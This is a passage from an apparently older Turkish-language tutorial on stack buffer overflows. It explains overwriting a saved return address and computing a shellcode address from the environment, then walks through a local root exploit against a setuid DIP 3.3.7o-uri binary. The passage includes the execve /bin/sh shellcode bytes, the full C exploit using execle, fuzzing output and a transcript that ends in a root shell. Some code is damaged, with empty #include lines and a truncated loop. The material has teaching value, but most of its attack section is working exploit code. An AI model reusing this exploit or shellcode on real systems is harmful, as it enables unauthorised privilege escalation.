12 bytelik array'e, shellcode'umuzun adresini barindiran 50 bytelik bir array
kopyalayinca (strcpy()), geri donus adresinin uzerine large_str'nin icerigi --
bizim shellcode'un adresi -- yazildi. Ve dolayisiyla main() cagrilmadan
once save edilen geri donus adresi, shell kodumuzun adresi ile override
edildi. Boylece main()'deki RET shellcode'un adresini POP ediyor ve islemci
o adresteki instruction'lari calistirip bize shell prompt veriyor. Burda
karistirilmamasi gereken bir nokta, strcpy()'nin kendi buffer'ini degil,
main()'in buffer'ini overflow etmesi. Yani strcpy() CALL edilirken, ondan
sonraki instruction'in adresi strcpy() RET ettikten sonra da eskisi gibi
duruyor. strcpy()'nin overwrite ettigi main()'in local degiskeni olan foo.

Evet, simdi burada kendi programimizin buffer'ini overflow ettik,
shellcode'umuzun adresin biliyorduk. Peki baska bir programin buffer'ini
overflow ederken napicaz? Shellkodumuzun hafizanin neresinde olacagini
nereden bilecegiz? Guzel bi soru.

Iki cevabi var:

1. Aleph1'in paper'inda yazdigi gibi, aslinda bilemeyiz, isletim sistemi o
kodu bi yerlere atar, biz de shell kod'un offset'ini tahmin edebiliriz. Ama
bu su anda cok "lame" kabul edilen bir yontem.

2. Akillilik edip, shell kodun adresini biz kendimiz belirleyebiliriz.
Nasil mi?

Linux ELF binary'si hafizaya yuklendigindeki hafiza haritasinin en yuksek
adresine gdb ile detayli gozatarsak sunu goruruz:


--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 tane NUL byte)
|\000 ...... | 0xBFFFFFFA (program_ismi)
| ..................|
|...................| 1. environment degiskeni (env[0])
|...................| 2. environment degiskeni (env[1])
|...................| 3. ...
|...................| ...
|...................| 1. argument string'i (argv[0])
|...................| 2. argument string'i (argv[1])
|...................| 3. ...
| . |
| . |
| . |

Daha once execve() nin son parametresinin environment degiskenlerini tutan
bir string'ler array'i oldugunu soylemistik. Buraya kadar guzel, yukaridaki
sekle bakarsaniz, biz, 1. enviroment degiskeninin *baslangic* adresini kesin
olarak hesapliyabiliriz.

envp = 0xBFFFFFFF -
4 - (4 tane NUL byte)
strlen(program_ismi) - (program isminin son NUL'i icermeyen boyutu)
1 - (yukarida strlen()'in saymadigi NUL)
strlen(envp[0]) (ilk environment degiskenin boyutu)

Daha da basitlestirirsek:

envp = 0xBFFFFFFA - strlen(program_ismi) - strlen(env[0])

O zaman envp[0]'a shellcode'umuzu koyup, envp'yi execve'ye environment
degiskenlerini barindiran array of strings parametresi olarak verebiliriz.
Boylece shellcode'umuzun adresini kesin bildigimize gore, overflow
edecegimiz buffer'i hangi adresle doldurmamiz gerektigini biliyoruz:

ret = 0xBFFFFFFA - strlen(program_ismi) - strlen(shellcode);

Buffer overflow ne demek biliyoruz, bufferi nasil overflow edecegimizi
biliyoruz, return adresi nasil modifiye edebilecegimizi biliyoruz,
shellcode'umuzun adresini de biliyoruz, sorun kalmadi, simdi ilk gercek
exploit'umuzu yazabiliriz:

- The Exploit -

DIP (Dial Up IP protocol) programinin 3.3.7o-uri (8 Feb 96) versiyonunda,
bir buffer overflow hatasi vardi. Bu program bazi Linux dagitimlarinda
by-default setuid olarak geliyordu. Programin aldigi parametrelerden -l
switch'i, programin icinde manipulate edilirken stpcpy() fonksiyonu ile
bounds checking yapilmadan kopyalaniyordu. Dolayisiyla burada bir buffer
overflow olusuyordu.

DIP'in bu versiyonunda hatali olan kod asagidaki gibiydi:

command.c dosyasinda, asagidaki gibi bi operasyon var:

l = stpcpy(l, argv[i]);

Man stpcpy deyip bakarsaniz stpcpy fonksiyonu buffer'in sinirlari hakkinda
hicbir kontrol uygulamadan kendisine verilen string'i digerine oylece
kopyaliyor. Iste burada yapacagimiz sey de bu buffera shell kodumuzun
adresini 'dikkatlice' yerlestirmek.

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "A"x116'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "A"x117'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
No such file or directory
Segmentation fault (core dumped)
[murat@victim murat]$

Yukarida gordugunuz gibi, dip'in -l switch'ine 116'dan fazla deger
girdiginizde (mesela 117) return adresi override etmis oluyorsunuz :)
Bu da stpcpy 'de bufferin kopyalandigi yerden sonra 117. byte da
RET basliyor demek.

Simdi exploit:

/* /usr/sbin/dip | euid = 0 | murat@enderunix.org */

#include
#include
#include

#define BUFSIZE 250

char sc[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE] = "A";
int i;
int *ap = (int *)(buf + strlen(buf));
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

for (i = 0; i <>
*ap++ = ret;

execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}

Simdi exploitimizi aciklayalim:

BUFFER buyuklugunu 250 byte olarak belirliyoruz, ki 117'den fazla hersey olur
burda. (Fakat bu, her bir exploit icin gecerli degil. Detaylar bir sonraki
dokumanda.)

shell kodumuzu yaziyoruz, ve simdi de main():

shell kodumuzun adresini sakliyacagimiz 2 birimlik bir environment pointer
atiyoruz. Bunun birinci elemaninda shell kodun adresini, digerine de NULL
atiyoruz (execve() boyle istiyor):

char *env[2] = {sc, NULL};

Sonra buffer'imiz icin yer ariyoruz. Bu buffer'i -l switch'ine paremetre
verecegiz. Burda bir tek A koymamiz, ALIGNMENT icin. Hafiza cogumuzun
kullandigi 32 bit islemcilerde 4 byte'lik bolmeler halinde adreslenir.
Dolayisiyla RET'in baslama ve bitimi arasinda 4 byte var. Bizim buffer'imiz
117 byte'dan sonra override ediyor RET'i. 117 4'un kati degil. ona en yakin ve
ondan kucuk 116 var. 1 eksik. O zaman buffer'a bir adet A yazalim ve de dorder
dorder ilerleyerek RET'i shell kodun adresi ile override edelim:

char buf[BUFSIZE] = "A";

Adres pointer'imiz buffer'in A'dan sonraki ilk bolumune isaret ediyor:

int *ap = (int *)(buf + strlen(buf));

RET adresimizi kesin hesapliyoruz, detaylari icin yukariya bakin.

int ret = 0XBFFFFFFA - strlen(sc) - strlen("/usr/sbin/dip");

Dorder dorder ilerleyip, ret'in degerini buffer'in icine dolduralim. Burada
neden *ap'nin degerini 4 artirmiyoruz derseniz, zaten ap bir pointer onun
degerini bir artirmak demek, adresin degerini 4 artirmak demektir:

for (i = 0; i <>
*ap++ = ret;

Ve geriye kalan sadece execve. Once vulnerable programin full path'i,
programin ismi, NULL ile biten argumanlar dizisi ve environment pointer'i
execle'ye paremetre olarak veriyoruz:

execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);

That's it! Iste Sonuc:

[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..A�������������������������������������������������������������������������������������������������������������������������������:
No such file or directory
bash# id
uid=501(murat) gid=501(murat) euid=0(root) groups=501(murat)
bash#